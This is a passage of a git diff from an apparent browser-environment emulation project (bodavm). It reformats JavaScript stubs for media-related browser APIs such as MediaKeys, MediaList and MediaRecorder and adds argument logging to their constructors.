-bodavm.toolsFunc.defineProperty('MediaKeys', "getStatusForPolicy", {configurable:true, enumerable:true, writable:true, value:function getStatusForPolicy (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaKeys'].prototype, "MediaKeys", "getStatusForPolicy", arguments)}},'prototype'); +// MediaKeys对象 + +bodavm.memory.globalobj['MediaKeys'] = function MediaKeys() { + console.log_copy('MediaKeys 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof MediaKeys)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MediaKeys'], "MediaKeys"); +bodavm.toolsFunc.defineProperty('MediaKeys', "createSession", { + configurable: true, + enumerable: true, + writable: true, + value: function createSession() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaKeys'].prototype, "MediaKeys", "createSession", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaKeys', "setServerCertificate", { + configurable: true, + enumerable: true, + writable: true, + value: function setServerCertificate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaKeys'].prototype, "MediaKeys", "setServerCertificate", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaKeys', "getStatusForPolicy", { + configurable: true, + enumerable: true, + writable: true, + value: function getStatusForPolicy() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaKeys'].prototype, "MediaKeys", "getStatusForPolicy", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/MediaList.js b/env_xbb_lastest_jsdom/env/MediaList.js index c61276d5..7d297f60 100644 --- a/env_xbb_lastest_jsdom/env/MediaList.js +++ b/env_xbb_lastest_jsdom/env/MediaList.js @@ -1,9 +1,67 @@ -// MediaList对象 -bodavm.memory.globalobj['MediaList'] = function MediaList(){if (!(this instanceof MediaList)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MediaList'], "MediaList"); -bodavm.toolsFunc.defineProperty('MediaList', "length", {configurable:true, enumerable:true, get:function length (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaList'].prototype, "MediaList", "length_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MediaList', "mediaText", {configurable:true, enumerable:true, get:function mediaText (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaList'].prototype, "MediaList", "mediaText_get", arguments)}, set:function mediaText (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaList'].prototype, "MediaList", "mediaText_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MediaList', "appendMedium", {configurable:true, enumerable:true, writable:true, value:function appendMedium (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaList'].prototype, "MediaList", "appendMedium", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MediaList', "deleteMedium", {configurable:true, enumerable:true, writable:true, value:function deleteMedium (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaList'].prototype, "MediaList", "deleteMedium", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MediaList', "item", {configurable:true, enumerable:true, writable:true, value:function item (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaList'].prototype, "MediaList", "item", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MediaList', "toString", {configurable:true, enumerable:true, writable:true, value:function toString (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaList'].prototype, "MediaList", "toString", arguments)}},'prototype'); +// MediaList对象 + +bodavm.memory.globalobj['MediaList'] = function MediaList() { + console.log_copy('MediaList 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof MediaList)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MediaList'], "MediaList"); +bodavm.toolsFunc.defineProperty('MediaList', "length", { + configurable: true, + enumerable: true, + get: function length() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaList'].prototype, "MediaList", "length_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaList', "mediaText", { + configurable: true, + enumerable: true, + get: function mediaText() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaList'].prototype, "MediaList", "mediaText_get", arguments); + }, + set: function mediaText() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaList'].prototype, "MediaList", "mediaText_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaList', "appendMedium", { + configurable: true, + enumerable: true, + writable: true, + value: function appendMedium() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaList'].prototype, "MediaList", "appendMedium", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaList', "deleteMedium", { + configurable: true, + enumerable: true, + writable: true, + value: function deleteMedium() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaList'].prototype, "MediaList", "deleteMedium", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaList', "item", { + configurable: true, + enumerable: true, + writable: true, + value: function item() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaList'].prototype, "MediaList", "item", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaList', "toString", { + configurable: true, + enumerable: true, + writable: true, + value: function toString() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaList'].prototype, "MediaList", "toString", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/MediaMetadata.js b/env_xbb_lastest_jsdom/env/MediaMetadata.js index 95b3491b..cab801f0 100644 --- a/env_xbb_lastest_jsdom/env/MediaMetadata.js +++ b/env_xbb_lastest_jsdom/env/MediaMetadata.js @@ -1,7 +1,54 @@ -// MediaMetadata对象 -bodavm.memory.globalobj['MediaMetadata'] = function MediaMetadata(){this._boarg= new bodaobj.window.MediaMetadata();this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MediaMetadata'], "MediaMetadata"); -bodavm.toolsFunc.defineProperty('MediaMetadata', "title", {configurable:true, enumerable:true, get:function title (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaMetadata'].prototype, "MediaMetadata", "title_get", arguments)}, set:function title (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaMetadata'].prototype, "MediaMetadata", "title_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MediaMetadata', "artist", {configurable:true, enumerable:true, get:function artist (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaMetadata'].prototype, "MediaMetadata", "artist_get", arguments)}, set:function artist (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaMetadata'].prototype, "MediaMetadata", "artist_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MediaMetadata', "album", {configurable:true, enumerable:true, get:function album (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaMetadata'].prototype, "MediaMetadata", "album_get", arguments)}, set:function album (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaMetadata'].prototype, "MediaMetadata", "album_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MediaMetadata', "artwork", {configurable:true, enumerable:true, get:function artwork (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaMetadata'].prototype, "MediaMetadata", "artwork_get", arguments)}, set:function artwork (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaMetadata'].prototype, "MediaMetadata", "artwork_set", arguments)}},'prototype'); +// MediaMetadata对象 + +bodavm.memory.globalobj['MediaMetadata'] = function MediaMetadata() { + console.log_copy('MediaMetadata 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + this._boarg = new bodaobj.window.MediaMetadata(); + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MediaMetadata'], "MediaMetadata"); +bodavm.toolsFunc.defineProperty('MediaMetadata', "title", { + configurable: true, + enumerable: true, + get: function title() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaMetadata'].prototype, "MediaMetadata", "title_get", arguments); + }, + set: function title() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaMetadata'].prototype, "MediaMetadata", "title_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaMetadata', "artist", { + configurable: true, + enumerable: true, + get: function artist() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaMetadata'].prototype, "MediaMetadata", "artist_get", arguments); + }, + set: function artist() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaMetadata'].prototype, "MediaMetadata", "artist_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaMetadata', "album", { + configurable: true, + enumerable: true, + get: function album() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaMetadata'].prototype, "MediaMetadata", "album_get", arguments); + }, + set: function album() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaMetadata'].prototype, "MediaMetadata", "album_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaMetadata', "artwork", { + configurable: true, + enumerable: true, + get: function artwork() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaMetadata'].prototype, "MediaMetadata", "artwork_get", arguments); + }, + set: function artwork() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaMetadata'].prototype, "MediaMetadata", "artwork_set", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/MediaQueryList.js b/env_xbb_lastest_jsdom/env/MediaQueryList.js index 4b93740b..ae4873ca 100644 --- a/env_xbb_lastest_jsdom/env/MediaQueryList.js +++ b/env_xbb_lastest_jsdom/env/MediaQueryList.js @@ -1,10 +1,61 @@ -// MediaQueryList对象 -bodavm.memory.globalobj['MediaQueryList'] = function MediaQueryList(){if (!(this instanceof MediaQueryList)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MediaQueryList'], "MediaQueryList"); -bodavm.memory.globalobj['MediaQueryList'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['MediaQueryList'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('MediaQueryList', "media", {configurable:true, enumerable:true, get:function media (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaQueryList'].prototype, "MediaQueryList", "media_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MediaQueryList', "matches", {configurable:true, enumerable:true, get:function matches (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaQueryList'].prototype, "MediaQueryList", "matches_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MediaQueryList', "onchange", {configurable:true, enumerable:true, get:function onchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaQueryList'].prototype, "MediaQueryList", "onchange_get", arguments)}, set:function onchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaQueryList'].prototype, "MediaQueryList", "onchange_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MediaQueryList', "addListener", {configurable:true, enumerable:true, writable:true, value:function addListener (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaQueryList'].prototype, "MediaQueryList", "addListener", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MediaQueryList', "removeListener", {configurable:true, enumerable:true, writable:true, value:function removeListener (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaQueryList'].prototype, "MediaQueryList", "removeListener", arguments)}},'prototype'); +// MediaQueryList对象 + +bodavm.memory.globalobj['MediaQueryList'] = function MediaQueryList() { + console.log_copy('MediaQueryList 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof MediaQueryList)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MediaQueryList'], "MediaQueryList"); +bodavm.memory.globalobj['MediaQueryList'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['MediaQueryList'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('MediaQueryList', "media", { + configurable: true, + enumerable: true, + get: function media() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaQueryList'].prototype, "MediaQueryList", "media_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaQueryList', "matches", { + configurable: true, + enumerable: true, + get: function matches() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaQueryList'].prototype, "MediaQueryList", "matches_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaQueryList', "onchange", { + configurable: true, + enumerable: true, + get: function onchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaQueryList'].prototype, "MediaQueryList", "onchange_get", arguments); + }, + set: function onchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaQueryList'].prototype, "MediaQueryList", "onchange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaQueryList', "addListener", { + configurable: true, + enumerable: true, + writable: true, + value: function addListener() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaQueryList'].prototype, "MediaQueryList", "addListener", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaQueryList', "removeListener", { + configurable: true, + enumerable: true, + writable: true, + value: function removeListener() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaQueryList'].prototype, "MediaQueryList", "removeListener", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/MediaQueryListEvent.js b/env_xbb_lastest_jsdom/env/MediaQueryListEvent.js index d64ae590..9c846bfa 100644 --- a/env_xbb_lastest_jsdom/env/MediaQueryListEvent.js +++ b/env_xbb_lastest_jsdom/env/MediaQueryListEvent.js @@ -1,7 +1,35 @@ -// MediaQueryListEvent对象 -bodavm.memory.globalobj['MediaQueryListEvent'] = function MediaQueryListEvent(){if (!(this instanceof MediaQueryListEvent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'MediaQueryListEvent': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MediaQueryListEvent'], "MediaQueryListEvent"); -bodavm.memory.globalobj['MediaQueryListEvent'].prototype.__proto__=bodavm.memory.globalobj['Event'].prototype; -bodavm.memory.globalobj['MediaQueryListEvent'].__proto__=bodavm.memory.globalobj['Event']; -bodavm.toolsFunc.defineProperty('MediaQueryListEvent', "media", {configurable:true, enumerable:true, get:function media (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaQueryListEvent'].prototype, "MediaQueryListEvent", "media_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MediaQueryListEvent', "matches", {configurable:true, enumerable:true, get:function matches (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaQueryListEvent'].prototype, "MediaQueryListEvent", "matches_get", arguments)}, set:undefined},'prototype'); +// MediaQueryListEvent对象 + +bodavm.memory.globalobj['MediaQueryListEvent'] = function MediaQueryListEvent() { + console.log_copy('MediaQueryListEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof MediaQueryListEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'MediaQueryListEvent': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MediaQueryListEvent'], "MediaQueryListEvent"); +bodavm.memory.globalobj['MediaQueryListEvent'].prototype.__proto__ = bodavm.memory.globalobj['Event'].prototype; +bodavm.memory.globalobj['MediaQueryListEvent'].__proto__ = bodavm.memory.globalobj['Event']; +bodavm.toolsFunc.defineProperty('MediaQueryListEvent', "media", { + configurable: true, + enumerable: true, + get: function media() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaQueryListEvent'].prototype, "MediaQueryListEvent", "media_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaQueryListEvent', "matches", { + configurable: true, + enumerable: true, + get: function matches() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaQueryListEvent'].prototype, "MediaQueryListEvent", "matches_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/MediaRecorder.js b/env_xbb_lastest_jsdom/env/MediaRecorder.js index efcc7f3b..e577ea3e 100644 --- a/env_xbb_lastest_jsdom/env/MediaRecorder.js +++ b/env_xbb_lastest_jsdom/env/MediaRecorder.js @@ -1,23 +1,175 @@ -// MediaRecorder对象 -bodavm.memory.globalobj['MediaRecorder'] = function MediaRecorder(){if (!(this instanceof MediaRecorder)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'MediaRecorder': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MediaRecorder'], "MediaRecorder"); -bodavm.memory.globalobj['MediaRecorder'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['MediaRecorder'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('MediaRecorder', "isTypeSupported", {configurable:true, enumerable:true, writable:true, value:function isTypeSupported (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaRecorder'].undefined, "MediaRecorder", "isTypeSupported", arguments)}}); -bodavm.toolsFunc.defineProperty('MediaRecorder', "stream", {configurable:true, enumerable:true, get:function stream (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaRecorder'].prototype, "MediaRecorder", "stream_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MediaRecorder', "mimeType", {configurable:true, enumerable:true, get:function mimeType (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaRecorder'].prototype, "MediaRecorder", "mimeType_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MediaRecorder', "state", {configurable:true, enumerable:true, get:function state (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaRecorder'].prototype, "MediaRecorder", "state_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MediaRecorder', "onstart", {configurable:true, enumerable:true, get:function onstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaRecorder'].prototype, "MediaRecorder", "onstart_get", arguments)}, set:function onstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaRecorder'].prototype, "MediaRecorder", "onstart_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MediaRecorder', "onstop", {configurable:true, enumerable:true, get:function onstop (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaRecorder'].prototype, "MediaRecorder", "onstop_get", arguments)}, set:function onstop (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaRecorder'].prototype, "MediaRecorder", "onstop_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MediaRecorder', "ondataavailable", {configurable:true, enumerable:true, get:function ondataavailable (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaRecorder'].prototype, "MediaRecorder", "ondataavailable_get", arguments)}, set:function ondataavailable (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaRecorder'].prototype, "MediaRecorder", "ondataavailable_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MediaRecorder', "onpause", {configurable:true, enumerable:true, get:function onpause (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaRecorder'].prototype, "MediaRecorder", "onpause_get", arguments)}, set:function onpause (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaRecorder'].prototype, "MediaRecorder", "onpause_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MediaRecorder', "onresume", {configurable:true, enumerable:true, get:function onresume (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaRecorder'].prototype, "MediaRecorder", "onresume_get", arguments)}, set:function onresume (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaRecorder'].prototype, "MediaRecorder", "onresume_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MediaRecorder', "onerror", {configurable:true, enumerable:true, get:function onerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaRecorder'].prototype, "MediaRecorder", "onerror_get", arguments)}, set:function onerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaRecorder'].prototype, "MediaRecorder", "onerror_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MediaRecorder', "videoBitsPerSecond", {configurable:true, enumerable:true, get:function videoBitsPerSecond (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaRecorder'].prototype, "MediaRecorder", "videoBitsPerSecond_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MediaRecorder', "audioBitsPerSecond", {configurable:true, enumerable:true, get:function audioBitsPerSecond (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaRecorder'].prototype, "MediaRecorder", "audioBitsPerSecond_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MediaRecorder', "audioBitrateMode", {configurable:true, enumerable:true, get:function audioBitrateMode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaRecorder'].prototype, "MediaRecorder", "audioBitrateMode_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MediaRecorder', "pause", {configurable:true, enumerable:true, writable:true, value:function pause (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaRecorder'].prototype, "MediaRecorder", "pause", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MediaRecorder', "requestData", {configurable:true, enumerable:true, writable:true, value:function requestData (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaRecorder'].prototype, "MediaRecorder", "requestData", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MediaRecorder', "resume", {configurable:true, enumerable:true, writable:true, value:function resume (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaRecorder'].prototype, "MediaRecorder", "resume", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MediaRecorder', "start", {configurable:true, enumerable:true, writable:true, value:function start (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaRecorder'].prototype, "MediaRecorder", "start", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MediaRecorder', "stop", {configurable:true, enumerable:true, writable:true, value:function stop (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaRecorder'].prototype, "MediaRecorder", "stop", arguments)}},'prototype'); +// MediaRecorder对象 + +bodavm.memory.globalobj['MediaRecorder'] = function MediaRecorder() { + console.log_copy('MediaRecorder 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof MediaRecorder)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'MediaRecorder': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MediaRecorder'], "MediaRecorder"); +bodavm.memory.globalobj['MediaRecorder'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['MediaRecorder'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('MediaRecorder', "isTypeSupported", { + configurable: true, + enumerable: true, + writable: true, + value: function isTypeSupported() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaRecorder'].undefined, "MediaRecorder", "isTypeSupported", arguments); + } +}); +bodavm.toolsFunc.defineProperty('MediaRecorder', "stream", { + configurable: true, + enumerable: true, + get: function stream() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaRecorder'].prototype, "MediaRecorder", "stream_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaRecorder', "mimeType", { + configurable: true, + enumerable: true, + get: function mimeType() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaRecorder'].prototype, "MediaRecorder", "mimeType_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaRecorder', "state", { + configurable: true, + enumerable: true, + get: function state() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaRecorder'].prototype, "MediaRecorder", "state_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaRecorder', "onstart", { + configurable: true, + enumerable: true, + get: function onstart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaRecorder'].prototype, "MediaRecorder", "onstart_get", arguments); + }, + set: function onstart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaRecorder'].prototype, "MediaRecorder", "onstart_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaRecorder', "onstop", { + configurable: true, + enumerable: true, + get: function onstop() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaRecorder'].prototype, "MediaRecorder", "onstop_get", arguments); + }, + set: function onstop() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaRecorder'].prototype, "MediaRecorder", "onstop_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaRecorder', "ondataavailable", { + configurable: true, + enumerable: true, + get: function ondataavailable() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaRecorder'].prototype, "MediaRecorder", "ondataavailable_get", arguments); + }, + set: function ondataavailable() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaRecorder'].prototype, "MediaRecorder", "ondataavailable_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaRecorder', "onpause", { + configurable: true, + enumerable: true, + get: function onpause() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaRecorder'].prototype, "MediaRecorder", "onpause_get", arguments); + }, + set: function onpause() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaRecorder'].prototype, "MediaRecorder", "onpause_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaRecorder', "onresume", { + configurable: true, + enumerable: true, + get: function onresume() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaRecorder'].prototype, "MediaRecorder", "onresume_get", arguments); + }, + set: function onresume() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaRecorder'].prototype, "MediaRecorder", "onresume_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaRecorder', "onerror", { + configurable: true, + enumerable: true, + get: function onerror() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaRecorder'].prototype, "MediaRecorder", "onerror_get", arguments); + }, + set: function onerror() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaRecorder'].prototype, "MediaRecorder", "onerror_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaRecorder', "videoBitsPerSecond", { + configurable: true, + enumerable: true, + get: function videoBitsPerSecond() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaRecorder'].prototype, "MediaRecorder", "videoBitsPerSecond_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaRecorder', "audioBitsPerSecond", { + configurable: true, + enumerable: true, + get: function audioBitsPerSecond() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaRecorder'].prototype, "MediaRecorder", "audioBitsPerSecond_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaRecorder', "audioBitrateMode", { + configurable: true, + enumerable: true, + get: function audioBitrateMode() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaRecorder'].prototype, "MediaRecorder", "audioBitrateMode_get", arguments); + }, 